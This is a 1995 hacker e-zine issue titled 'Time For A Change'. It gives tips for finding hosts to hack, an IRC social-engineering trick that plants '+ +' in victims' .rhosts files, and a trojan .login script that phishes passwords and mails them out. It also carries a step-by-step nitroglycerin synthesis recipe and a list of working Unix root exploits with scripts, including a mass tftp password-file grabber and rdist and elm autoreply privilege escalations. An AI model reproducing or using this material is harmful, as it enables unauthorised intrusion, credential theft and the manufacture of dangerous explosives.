1409 lines
38 KiB
Plaintext
1409 lines
38 KiB
Plaintext
|
||
|
||
TYM - Taking Your Machine
|
||
|
||
PRESENTS
|
||
|
||
|
||
-+-+-====================================================================-+-+-
|
||
____________ ____ _____ _____ _________
|
||
/\____ ____\ /\ \ /\ \ /\ \ /\ _____\
|
||
\/___/\ \___/ \ \ \ \ \ \\ \ \ \ \___ /
|
||
\ \ \ \ \ \ \ \ \\ \\ \ \ \ __\
|
||
\ \ \ \ \ \ \ \ \ \__\ \ \ \ \ \_/___
|
||
\ \__\ \ \___\ \ \__\/__/\ \__\ \ \_______\
|
||
\/__/ \/___/ \/__/ \/__/ \/_______/
|
||
|
||
_________ ______ ________ _________
|
||
/\ _____\ /\ __ \ /\ __ \ /\ ___ \
|
||
\ \ \___ / \ \ \/\ \ \ \ \_\ \ \ \ \_/\ \
|
||
\ \ __\ \ \ \ \ \ \ \ / \ \ \\_\ \
|
||
\ \ \_/ \ \ \_\ \ \ \ \\ \ \ \ ___ \
|
||
\ \__\ \ \_____\ \ \__\\_\ \ \__\_/\__\
|
||
\/__/ \/_____/ \/__//_/ \/__/ \/__/
|
||
|
||
________ ___ ___ ________ _____ ___ ________ _______
|
||
/\ ____\ /\ \ /\ \ /\ __ \ /\ \ /\ \ /\ ____\ /\ ___\
|
||
\ \ \ \ \ \\_\ \ \ \ \/\ \\ \ \ \\ \ \ \ \ \_ _/_\ \ \__/
|
||
\ \ \ \ \ ___ \ \ \ \_\ \\ \ \\ \ \ \ \ \ \/\_ \\ \ _\
|
||
\ \ \____ \ \ \_/\ \ \ \ __ \\ \ \/\ \\ \ \ \ \/_\ \\ \ \/__
|
||
\ \______\ \ \__\\ \__\ \ \__\ \__\\ \__\//\_____\ \ \_______\\ \_____\
|
||
\/______/ \/__/ \/__/ \/__/\/__/ \/__/ \/_____/ \/_______/ \/_____/
|
||
|
||
-+-+-====================================================================-+-+-
|
||
|
||
Time For A Change
|
||
|
||
Volume 1 - Issue 1
|
||
|
||
February 23, 1995
|
||
|
||
-+-+-====================================================================-+-+-
|
||
|
||
|
||
INTRODUCTION
|
||
____________
|
||
|
||
|
||
Well, here is our first, long awaited issue. For those of you who don't know
|
||
me, I'm Ghost in the Machine. I've been around the "scene" forever and a
|
||
day, and I am quite sick of what it has degenerated into.
|
||
|
||
This magazine is an attempt to break away from the no-disclosure bullshit
|
||
and give everyone all the info they need to do whatever they want to do.
|
||
This is an attempt at full-discolure, useful information, while hopefully
|
||
remaining entertaining to read.
|
||
|
||
Submissions for this magazine are accepted from anyone who has the desire to
|
||
write an interesting article, and also has the ability to do so. Send your
|
||
submissions to:
|
||
|
||
Ghost in the Machine @ Hackers Haven BBS (303) 343-4053
|
||
|
||
or bf130@freenet.hsc.colorado.edu (Don't laugh, it's a stable maildrop)
|
||
|
||
|
||
You can also feel free to drop any comments, suggestions, complaints,
|
||
etc.. off at either of those places.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
TABLE OF CONTENTS:
|
||
|
||
|
||
1. Finding new domains and playing with them.............Ghost in the Machine
|
||
2. Fun stuff to do on IRC................................Terminal
|
||
3. Pyrotechnics for the Serious Student:Nitro-Glycerine..Murcurochrome
|
||
4. UNIX Problems for fun and exploit: Part 1.............Ghost in the Machine
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
-----------------------------------------------------------------------------
|
||
|
||
Time for a Change
|
||
|
||
presents
|
||
|
||
Finding new domains and playing with them.
|
||
|
||
by
|
||
|
||
Ghost in the Machine
|
||
|
||
+----------------------------------------------------------------------------+
|
||
|
||
If you're like me, you will occasionally find yourself bored and want to
|
||
find someplace new to hack. Coming up with a domain that you haven't
|
||
already visited might be giving you some headaches, I know it gives them to
|
||
me.
|
||
|
||
Here are some pointers on how to find new systems, what to do once you have
|
||
found one to gain easy access (if it exists), and some other neat net tools
|
||
that you might not be familiar with.
|
||
|
||
-
|
||
FINDING DOMAINS
|
||
-
|
||
|
||
If you are on a system with any activity at all, you will find it easy to
|
||
find new hosts by just checking the processes running on your host.
|
||
|
||
do a
|
||
|
||
% ps -aux | grep telnet
|
||
|
||
or even better, look at all the processes and pipe it through more.
|
||
|
||
% ps -aux | more
|
||
|
||
A lot of times, you will get people telnetting, rlogin'ing etc.. to
|
||
different places.. a lot of times they are muds or whatever, which is kinda
|
||
lame, but hell, it's someplace to start.
|
||
|
||
+
|
||
|
||
% finger @<anotherhost.that.you.know>
|
||
|
||
This will give you a list of all the people logged in, and many times, where
|
||
they are on that host from. There are usually a handful from someplace
|
||
nowhere near the host that you are fingering.
|
||
|
||
+
|
||
|
||
Read usenet. Preferrably *security* newsgroups, as often times, stupid
|
||
admins will leave valuable system weaknesses in posts, along with their
|
||
login name, and host.
|
||
|
||
+
|
||
|
||
Jump on to IRC. Join random, heavily populated channels. Do a
|
||
/who #<channelname> .
|
||
|
||
There should be a hefty load of new domains in just that. Some channels that
|
||
usually have a lot of people on domestic machines are:
|
||
|
||
#talk
|
||
#
|
||
#warez-#warez9 (these are usually filled with clueless wonders too, always a
|
||
good time)
|
||
#<any ethnic group you can imagine>
|
||
|
||
+
|
||
|
||
Get on the www. Check out where the links are taking you, alas more domains
|
||
to play with. Usually chock full of usernames.
|
||
|
||
+
|
||
|
||
I'm sure you can come up with plenty of other variations on this theme.
|
||
Finding domains is easy, just pick something that appeals to you, and go at
|
||
it.
|
||
|
||
|
||
|
||
-
|
||
USING YOUR NEW DOMAINS
|
||
-
|
||
|
||
Ok, the first thing you might want to do once you find a new domain is scan
|
||
it for easily hacked backdoors. ISS (Internet Security Scanner) is a program
|
||
that will do this for you, SATAN is another. I will include a uuencoded gzip
|
||
of ISS 1.21 source with this issue. If you're really bored, you can scan by
|
||
hand.
|
||
|
||
Important Note: Never, NEVER scan a domain with a non-expendable account.
|
||
Most of the things that ISS does are easily logged and quite noticable.
|
||
|
||
+
|
||
|
||
Question: I have a domain name, but I need the IP address to use with ISS.
|
||
|
||
Answer: Use nslookup - nslookup is a program that will attach to a
|
||
nameserver and translate domain to IP and vice versa. It's very easy to use.
|
||
|
||
type nslookup
|
||
|
||
Then at the > prompt, type either fully qualified host names, or ip
|
||
addresses. It will spit the info you desire.
|
||
|
||
+
|
||
|
||
Question: Is there a way to easily scan a domain for default accounts?
|
||
Answer: Yes - netfind
|
||
|
||
netfind is a handy program for finding accounts without actually entering
|
||
the system. It is very versatile, and very helpful.
|
||
|
||
% man netfind
|
||
|
||
for complete instructions.
|
||
|
||
+
|
||
|
||
These are some easy ways to find stuff. I hope you find them useful.
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Time for a Change
|
||
|
||
presents
|
||
|
||
Fun stuff to do on IRC.
|
||
|
||
by
|
||
|
||
Terminal
|
||
------------------------------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
The Intro:
|
||
|
||
By writing this text i intend to share some simple ideas on gaining
|
||
accounts, and access on other systems while pissing around on IRC.
|
||
|
||
I assume, you the reader have a little experience with the commands
|
||
of IRC... I dont know why, but I do...
|
||
|
||
So lets get on with it.
|
||
|
||
The Beginning:
|
||
|
||
To find a person on a system of your choice try: /who -host <system name>.
|
||
For example: "/who -host *att.com" would find all users on IRC coming
|
||
from any host on ATT.COM.. Wildcards are indeed excepted. So find a victim
|
||
that way, or if you are less picky, just join any channel, preferably one
|
||
with a few users, and do a: "/who *".. that will list all users in the
|
||
channel with nick, and mailing address... So, chose a user that looks
|
||
interesting, and move on.
|
||
|
||
The Idea:
|
||
|
||
Well, we are just trying to accomplish one thing... to get the user to add
|
||
"+ +" to his or her .rhosts file.. making any system a 'trusted' host, then
|
||
allowing us, to rlogin (Remote Login) to his or her system with no
|
||
password... So, we have a few choices.. as you may have seen there are some
|
||
popular IRC scripts..IRC scripts are used by many people on IRC for whatever
|
||
reason or another. and to get into there system you need only to add a line
|
||
to a popular IRC script, or make your own.. the line you would want to add,
|
||
would look like this: "exec echo + + > $HOME/.rhosts"... You dont have to
|
||
have to give them an IRC script to get them to fix there .rhosts.. with
|
||
a stupid user, and a bit of luck, you can have the user type it in himself.
|
||
When actually typed while in IRC, you would need to add a '/' to
|
||
the whole thing, making it: "/exec echo + + > $HOME/.rhosts"... Once the
|
||
'+ +' is added to the .rhosts, you need only, exit to shell.. and type:
|
||
"rlogin <victims system> -l <victims username>".For example, to rlogin to
|
||
joblo@anysystem.com, you would need to type: "rlogin anysystem.com -l joblo"
|
||
from your shell...
|
||
|
||
The Example:
|
||
|
||
*Victim* Dude, do you have any IRC scripts??
|
||
/whois Victim
|
||
*** Victim is victim@any.system.net (John Doe)
|
||
*** on channels: #oralsex
|
||
*** on irc via server irc-2.mit.edu ()
|
||
/exec echo "exec echo + + > $HOME/.rhosts" >> fenix.irc
|
||
/dcc send Victim fenix.irc
|
||
*** Sent DCC SEND request to Victim
|
||
*** DCC SEND connection to Victim[123.456.0.0,1383] established
|
||
*** DCC SEND:/home/myuser/fenix.irc to Victim completed 0.04004 kb/sec
|
||
/msg victim just type: /load fenix.irc
|
||
-> *victim* just type: /load fenix.irc
|
||
*Victim* Ok, I did... thanks.
|
||
/msg victim no problem.
|
||
-> *victim* no problem.
|
||
/quit I am lame
|
||
*** Signoff: me (I am lame)
|
||
|
||
% rlogin any.system.net -l victim
|
||
Last login: Tue Feb 14 16:49:42 from secure.bellcore.com
|
||
SunOS Release 4.1.3 (ANY) #2: Fri Sep 9 06:12:28 PDT 1994
|
||
|
||
Default terminal emulation is vt100
|
||
|
||
For temporary storage please use /tmp
|
||
|
||
You have mail.
|
||
ANY% ls
|
||
misc_porno littleboy_nudes
|
||
ANY% exit
|
||
Connection closed.
|
||
%
|
||
|
||
The Other Idea:
|
||
|
||
if you want to try something different, You could give out a .login 'trojan'
|
||
shell script, that when run replaces the users .login file with a script
|
||
wich when the user logs in next, will make it look like the user entered
|
||
a wrong login name or password, and will prompt them to reenter it...
|
||
What ever is inputed then, is mailed to the address in the script, so
|
||
you would want to modify it, with your own mailing address...
|
||
|
||
You could distribute the script as anything you like, but it isnt an IRC
|
||
script, so it needs to be run from the users shell... If you are rlogined
|
||
to someones account, you may want to run this on their account to try
|
||
and get their passwd...
|
||
|
||
The Script:
|
||
|
||
----START SCRIPT----
|
||
#!/bin/sh
|
||
rm -rf $0
|
||
cp $HOME/.login $HOME/.l
|
||
echo ''>$HOME/.hushlogin
|
||
echo "stty intr '^@'
|
||
echo 'Login incorrect'
|
||
echo -n 'login: '
|
||
echo $<>.t
|
||
echo -n 'Password: '
|
||
stty -echo
|
||
echo $<>>.t
|
||
mail yourname@your.mail.account.com<.t
|
||
rm .t
|
||
cat /etc/motd
|
||
mv .l .login
|
||
rm .hushlogin
|
||
stty echo
|
||
source .login">$HOME/.login
|
||
----END SCRIPT----
|
||
|
||
===========================================================================
|
||
|
||
Time for a Change
|
||
|
||
presents
|
||
|
||
Pyrotechnics for the Serious Student
|
||
|
||
Part I: Nitro Glycerine
|
||
|
||
by
|
||
|
||
Murcurochrome (303)
|
||
------------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Being the most experienced and knowledgable pyrotechnic in the
|
||
state, I figured that it would be in all of our best concerns for me
|
||
to write this article, instead of some lame-ass who steals all his
|
||
ideas from the Anarchist Cookbook or the Terrorist Handbook without even
|
||
trying any of them. I have made numerous explosives in my time, and now
|
||
it is time for me to share them with you. I will be submitting new
|
||
articles to each TYM release, and they will each include one recipe for
|
||
some type of explosive.
|
||
|
||
First off, I have to say that I am in NO FUCKING WAY responsible
|
||
for any dismemberment, or other harm that may come to you or anyone else.
|
||
It's not my fault if you picked up this article and decided that you were
|
||
a terrorist. For this reason, I have rated each one twice. One for
|
||
difficulty in making, and one for danger in creating/using it. So, that's
|
||
all I can do to make sure that you dumbasses don't think that nitroglycerin
|
||
is easy and fun to make. So, lets begin.
|
||
|
||
Nitroglycerin C3H5(NO3)3 -------------------------------
|
||
Difficulty level [09] Danger level [10]
|
||
--------------------------------------------------------
|
||
Nitroglycerin is the most dangerous and most potent explosive
|
||
that I am going to teach you in this article. It is highly volitile to
|
||
bumps and jiggles, so I suggest that you merely read this article for the
|
||
fun of knowing it, rather than actually making it. I've only made it a few
|
||
times, and got away with it, but for you, it could prove dangerous.
|
||
|
||
[01] Fill a 75-ml beaker to the 13ml line with fuming red nitric acid, of
|
||
98% concentration.
|
||
[02] Place the beaker in an ice bath. Let it cool down below room
|
||
temperature.
|
||
[03] When it's done cooling, add it to 3x the amount of fuming sulfuric
|
||
acid (of 99% concentration).
|
||
[04] When done mixing, lower the temperature by adding more ice to the
|
||
bath, to about 10-15<31>C
|
||
[05] When the solution has cooled, it is ready to add glycerin. Be sure
|
||
to add the glycerin slowing, THROUGH A MEDICINE DROPPER, ONE
|
||
DROP AT A TIME. Do this carefully, until the entire surface
|
||
of the solution is covered in glycerin.
|
||
[06] Nitration will begin as soon as the glycerin is added. This will
|
||
produce heat, but you MUST keep the solution below 30<33>C. If
|
||
it begins to go higher, take the beaker out and pour it in
|
||
the ice bath. This will prevent an explosion.
|
||
[07] For the first 10 minutes of nitration, stir gently. Normally, a
|
||
layer of nitroglycerin will form on top of it all.
|
||
[08] After nitration, the entire beaker should be transferred SLOWLY
|
||
and CAREFULLY to another beaker of water. The nitroglycerin
|
||
should go to the bottom, and the excess acid and water can
|
||
be drained off.
|
||
[09] After removing as much acid as possible (* be sure not to disturb
|
||
the nitroglycerin, it is highly volital at this point *),
|
||
remove the NG with an eyedropper and place it in a sodium
|
||
bicarbonate solution. This will neutralize most of the
|
||
remaining acid. Keep doing this step, and testing with
|
||
blue litmus paper until it shows no acid.
|
||
[10] Finally, remove the NG from the bicarbonate with an eye dropper.
|
||
Must I remind you to do this SLOWLY and CAREFULLY?
|
||
|
||
NG has a very short shelf life, and is extremely unstable.
|
||
The best way to keep NG around, is to convert it to dynamite by adding
|
||
sawdust, or soap shavings.
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Time for a Change
|
||
|
||
presents
|
||
|
||
UNIX problems, for fun and exploit. Volume 1.
|
||
|
||
(or how to get root in less than 5 minutes.)
|
||
|
||
by
|
||
|
||
Ghost in the Machine
|
||
------------------------------------------------------------------------------
|
||
|
||
Well, I have yet to see a definative guide to UNIX bugs, holes, etc.. with
|
||
exploits, so I feel confident that I am not beating a dead horse with this
|
||
series.
|
||
|
||
Everyone seems to want to hack *NIX, and although the majority of bugs,
|
||
holes, and other problems are easy to find if you know where to look, most
|
||
people do not have any idea where to start looking. This series should give
|
||
even the most incurably lame people a starting point.
|
||
|
||
The current plan is to make this a 4 part series, however, as more and more
|
||
goodies show up, one never knows.
|
||
|
||
|
||
|
||
Basically, here is an example for the format of the file:
|
||
|
||
<Type of OS, or *NIX for all> (vers) - <Type of bug/hole> - <Comments (if any)>
|
||
:
|
||
<Exploit Example>
|
||
+++++
|
||
<Next listing>
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
AIX (all?) - /bin/tprof - tprof -x executes programs suid 0 - root in 16
|
||
characters, how can you lose?
|
||
:
|
||
|
||
% tprof -x /bin/sh
|
||
#
|
||
|
||
+++++
|
||
|
||
AIX (2.2.1) - /etc/shadow - /etc/shadow is o+w - Big oopsie. Thanks IBM!
|
||
:
|
||
|
||
% echo "rewt::0:0:blahness:/:/bin/sh" >> /etc/shadow
|
||
% telnet localhost
|
||
Trying...
|
||
Connected to haqdnfuqd.com.
|
||
Escape character is '^]'.
|
||
|
||
login: rewt
|
||
|
||
#
|
||
|
||
+++++
|
||
|
||
AIX (3.X.X) - -froot - rlogind hole
|
||
:
|
||
|
||
% rlogin localhost -l -froot
|
||
#
|
||
|
||
+++++
|
||
|
||
BSD (4.2), ULTRIX (3.0) - symbolic links broke - view any file you care to.
|
||
:
|
||
|
||
% ln -s /etc/shadow /home/looser/.plan
|
||
% finger looser
|
||
|
||
Login: looser Name: looser
|
||
Directory: /home/looser Shell: /bin/sh
|
||
Last Login Fri May 13 22:10 (EST) on ttya1
|
||
No Mail.
|
||
<contents of /etc/shadow>
|
||
|
||
+++++
|
||
|
||
DYNIX (3.0.14), ULTRIX (2.X) - sendmail bug - Can read any file.
|
||
:
|
||
|
||
$ sendmail -C /etc/shadow
|
||
<contents of /etc/shadow>
|
||
|
||
+++++
|
||
|
||
DYNIX (all?), IRIX (all?) - rsh problem - can execute commands as root.
|
||
:
|
||
|
||
$ rsh localhost -l "" /bin/sh
|
||
|
||
#
|
||
|
||
+++++
|
||
|
||
HP/UX (below 7.0) - chfn problem - chfn accepts newlines, etc...
|
||
:
|
||
|
||
% chfn -f looser^Mrewt::0:0::/:/bin/sh
|
||
% rlogin localhost -l rewt
|
||
Warning: .lastlogin not found.
|
||
#
|
||
|
||
+++++
|
||
|
||
UNIX sendmail (Confirmed on SunOS perhaps others) - decode alias - uudecode
|
||
:
|
||
|
||
% telnet fuqdhost.com 25
|
||
220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)
|
||
VRFY decode
|
||
250 <|/usr/bin/uudecode>
|
||
MAIL FROM: bin
|
||
250 <bin> ... Sender Okay
|
||
RCPT TO: decode
|
||
250 <decode> ... Recipient Okay
|
||
DATA
|
||
354 Enter mail, end with "." on a line by itself
|
||
begin 644 /bin/.rhosts
|
||
$*R K"O\
|
||
|
||
end
|
||
.
|
||
250 Mail accepted
|
||
quit
|
||
221 fuqdhost.com closing connection
|
||
Connection closed by foreign host.
|
||
% rlogin fuqdhost.com -l bin
|
||
$
|
||
|
||
+++++
|
||
|
||
UNIX ALL - tftp - Can be used to grab /etc/passwd or any file you like - Most
|
||
systems have fixed this.
|
||
:
|
||
|
||
% tftp fuqdhost.com
|
||
tftp> get /etc/passwd
|
||
tftp> quit
|
||
% ls passwd
|
||
passwd
|
||
%
|
||
|
||
(For your scanning pleasure, I am including a short script written by Yo)
|
||
|
||
-------------------------------CUT HERE-------------------------------------
|
||
#!/bin/sh
|
||
########################################################################
|
||
# TFTP snagger by Yo
|
||
# It snags /etc/passwd files from all hosts with open 69 (tftp) port.
|
||
# scanns all hosts from XX.XX.0.0 - XX.XX.255.255
|
||
# you can run it in the background in following way:
|
||
# snag [hostname] > /dev/null &
|
||
# [hostname] might be used IP # (with -ip option) as well as FQDN
|
||
#
|
||
#########################################################################
|
||
if [ $1x = x ]; then
|
||
echo " Usage: $0 [hostname] to run in the foreground "
|
||
echo " $0 [hostname] > /dev/null & to run in the background "
|
||
echo " The [hostname] can be specialized in fully qualified domain name "
|
||
echo " i.e.- $0 nyx.cs.du.edu - and it'll scan all du.edu domain. "
|
||
echo " as well as IP with -ip option. "
|
||
exit 1
|
||
else
|
||
if [ "$1" = '-ip' ]; then
|
||
if [ $2x = x ]; then
|
||
echo " Usage: $0 $1 the IP "
|
||
exit 1
|
||
else
|
||
x=`echo $2 | cut -c1-3`
|
||
x1=`echo $x | cut -c2`
|
||
if [ "$x1" = '.' ]; then
|
||
x=`echo $x | cut -c1`
|
||
xx=`echo $2 | cut -c3-5`
|
||
else
|
||
x1=`echo $x | cut -c3`
|
||
if [ "$x1" = '.' ]; then
|
||
x=`echo $x | cut -c1-2`
|
||
xx=`echo $2 | cut -c4-6`
|
||
else
|
||
xx=`echo $2 | cut -c5-7`
|
||
fi
|
||
fi
|
||
x1=`echo $xx | cut -c2`
|
||
if [ "$x1" = '.' ]; then
|
||
xx=`echo $xx | cut -c1`
|
||
else
|
||
x1=`echo $xx | cut -c3`
|
||
if [ "$x1" = '.' ]; then
|
||
xx=`echo $xx | cut -c1-2`
|
||
else
|
||
xx=`echo $xx | cut -c1-3`
|
||
fi
|
||
fi
|
||
fi
|
||
else
|
||
if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup ]; then # -x is for SunOs
|
||
echo sorry dude, no nslookup server .. try it with -ip option.
|
||
exit 1
|
||
fi
|
||
x=`nslookup $1 | fgrep "Address" | cut -c11-13 | tail +2`
|
||
x1=`echo $x | cut -c2`
|
||
if [ "$x1" = '.' ]; then
|
||
x=`echo $x | cut -c1`
|
||
xx=`nslookup $1 | fgrep "Address" | cut -c13-15 | tail +2`
|
||
else
|
||
x1=`echo $x | cut -c3`
|
||
if [ "$x1" = '.' ]; then
|
||
x=`echo $x | cut -c1-2`
|
||
xx=`nslookup $1 | fgrep "Address" | cut -c14-16 | tail +2`
|
||
else
|
||
x=`echo $x | cut -c1-3`
|
||
xx=`nslookup $1 | fgrep "Address" | cut -c15-17 | tail +2`
|
||
fi
|
||
fi
|
||
x1=`echo $xx | cut -c2`
|
||
if [ "$x1" = '.' ]; then
|
||
xx=`echo $xx | cut -c1`
|
||
else
|
||
x1=`echo $xx | cut -c3`
|
||
if [ "$x1" = '.' ]; then
|
||
xx=`echo $xx | cut -c1-2`
|
||
else
|
||
xx=`echo $xx | cut -c1-3`
|
||
fi
|
||
fi
|
||
fi
|
||
fi
|
||
if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255 ]; then
|
||
echo There is no such domain. Nothing to scan .
|
||
exit 1
|
||
fi
|
||
xxx=0
|
||
xxxx=0
|
||
while [ $x -ne 255 ]; do
|
||
while [ $xx -ne 255 ]; do
|
||
while [ $xxx -ne 255 ]; do
|
||
while [ $xxxx -ne 255 ]; do
|
||
target=$x.$xx.$xxx.$xxxx
|
||
trap "echo The Process was stoped at $target;rm -rf passwd; exit 1" 2
|
||
tftp << EOF
|
||
c $target
|
||
mode ascii
|
||
trace
|
||
get /etc/passwd passwd
|
||
quit
|
||
EOF
|
||
if [ ! -s passwd ] ; then
|
||
rm -rf passwd
|
||
echo `date` $target has rejected an attempt >> .info
|
||
else
|
||
mv passwd .good.$target
|
||
echo `date` $target is taken,all data is stored in .good.$target file >> .info
|
||
fi
|
||
xxxx=`expr $xxxx + 1 `
|
||
done
|
||
xxxx=0
|
||
xxx=`expr $xxx + 1 `
|
||
done
|
||
xxx=0
|
||
xx=`expr $xx + 1 `
|
||
done
|
||
xx=0
|
||
x=`expr $x + 1 `
|
||
done
|
||
|
||
---------------------------------CUT HERE-----------------------------------
|
||
|
||
+++++
|
||
|
||
SunOS (<4.1.2), A/UX (2.0.1), SCO (3.2v4.2), Many others. - rdist(1) problem -
|
||
Any user with access to rdist(1) can become root.
|
||
:
|
||
|
||
% cat > distfile
|
||
HOSTS = fuqdhost
|
||
FILES = w00p
|
||
${FILES} -> ${HOSTS}
|
||
install /tmp/1;
|
||
notify user;
|
||
^D
|
||
% cat > usr.c
|
||
main()
|
||
{
|
||
setuid(0);
|
||
chown("goodie", 0, 0);
|
||
chmod("goodie", 04755);
|
||
exit(0);
|
||
}
|
||
^D
|
||
% cp /bin/sh ./goodie
|
||
% cc -o usr usr.c
|
||
% set path=( . $PATH)
|
||
% setenv IFS /
|
||
% rdist
|
||
updating host localhost
|
||
rdist: w00p: no such file or directory
|
||
notify @fuqdhost ( user )
|
||
% goodie
|
||
#
|
||
|
||
+++++
|
||
|
||
UNIX (with rdist) - rdist buffer overflow hole - Make an suid shell.
|
||
:
|
||
<rdist.sh script follows>
|
||
|
||
----------------------------------CUT HERE----------------------------------
|
||
|
||
#!/bin/sh
|
||
SUID=/tmp/xtrek
|
||
cat <<_EOF_ > test
|
||
Taaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||
|
||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||
Qaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||
Qaaaaaaaaaaaaaaaaaaaaaaaaa
|
||
Qaaaaaaaaaaaaaaaaaaaaaaaa
|
||
Qaaaaaaaaaaaaaaaaaaaaaaa
|
||
Scp /bin/sh $SUID
|
||
Schmod 4755 $SUID
|
||
_EOF_
|
||
cat test | /usr/ucb/rdist -Server localhost
|
||
rm -rf test
|
||
if [ -f $SUID ]; then
|
||
echo "$SUID is a setuid shell. "
|
||
fi
|
||
#
|
||
|
||
----------------------------------CUT HERE-----------------------------------
|
||
|
||
% rdist.sh
|
||
/tmp/xtrek is a setuid shell.
|
||
% /tmp/xtrek
|
||
#
|
||
|
||
+++++
|
||
|
||
UNIX (Many) - getpwent() hole - get /etc/shadow file. (not usually)
|
||
:
|
||
|
||
% cat > unshadow.c
|
||
#include <pwd.h>
|
||
main(){struct passwd *p;while(p=getpwent())
|
||
printf("%s:%s:%d:%d:%s:%s:%s\n\r", p->pw_name, p->pw_passwd,
|
||
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);}
|
||
^D
|
||
% cc -o unshadow
|
||
% unshadow > gotcha
|
||
% cat gotcha
|
||
<contents of shadow file>
|
||
|
||
+++++
|
||
|
||
UNIX (elm - all versions) - autoreply bug - any user with access to
|
||
autoreply can become root.
|
||
:
|
||
|
||
<fixrhosts script follows>
|
||
|
||
--------------------------------CUT HERE------------------------------------
|
||
#!/bin/sh
|
||
#
|
||
# fixrhosts rhosts-file user machine
|
||
#
|
||
if [ $# -ne 3 ]; then
|
||
echo "Usage: `basename $0` rhosts-file user machine"
|
||
exit 1
|
||
fi
|
||
RHOSTS="$1"
|
||
USERNAME="$2"
|
||
MACHINE="$3"
|
||
cd $HOME
|
||
echo x > "a
|
||
$MACHINE $USERNAME
|
||
b"
|
||
umask 022
|
||
autoreply "a
|
||
$MACHINE $USERNAME
|
||
b"
|
||
cat > /tmp/.rhosts.sh.$$ << 'EOF'
|
||
ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`
|
||
exec autoreply off
|
||
exit 0
|
||
EOF
|
||
/bin/sh /tmp/.rhosts.sh.$$ $RHOSTS
|
||
rm -f /tmp/.rhosts.sh.$$ "a
|
||
$MACHINE $USERNAME
|
||
b"
|
||
exit 0
|
||
|
||
--------------------------------CUT HERE------------------------------------
|
||
|
||
% ./fixrhosts ~root/.rhosts looser fuqdhost
|
||
You've been added to the autoreply system.
|
||
You've been removed from the autoreply table.
|
||
% rsh fuqdhost -l root csh -i
|
||
#
|
||
|
||
+++++
|
||
|
||
UNIX (smail) - debug mode hole - Use of ~/.forward and debug lets a local
|
||
user read any file on the system.
|
||
:
|
||
|
||
% ln -s /etc/shadow .forward
|
||
% ls -la .forward
|
||
lrwxrwxrwx 1 looser lusers 11 Sep 5 12:08 .forward -> /etc/shadow
|
||
% telnet localhost smtp
|
||
Trying 127.0.0.1...
|
||
Connected to fuqdhost.
|
||
Escape character is '^]'.
|
||
220 fuqdhost.lame.com Smail3.1.28.1 ready for fakemail on Mon, 5 Sep 94 12:10 EST
|
||
debug 20
|
||
250 Debugging level: 20
|
||
expn looser
|
||
[lots of crap]
|
||
expand_string(~/.forward, /home/looser, looser) called
|
||
expand_string returns /home/looser/.forward
|
||
dtd_forwardfile: opening forward file /home/looser/.forward
|
||
[more crap]
|
||
read 890 bytes
|
||
director dotforward: matched looser, forwarded to
|
||
root:h3ysk0tT.p0ss3/suxc0cKeH:8000:0:99999:7:::
|
||
bin:*:8000:0:99999:7:::
|
||
daemon:*:8000:0:99999:7:::
|
||
nobody:*:8000:0:99999:7:::
|
||
looser:qWerTy3210xXx:8000:0:99999:7:::
|
||
[....]
|
||
process_field: entry
|
||
We have a group
|
||
We have a group
|
||
process_field: error: recursive address group
|
||
550 looser ... not matched
|
||
quit
|
||
221 fuqdhost.lame.com closing connection
|
||
Connection closed by foreign host.
|
||
|
||
+++++
|
||
|
||
UNIX (smail) - smail create/append hole - Smail called with the -D flag will
|
||
allow you to create and append to any file on the system.
|
||
:
|
||
|
||
% cat ~/.forward
|
||
|
||
localhost loser
|
||
^D
|
||
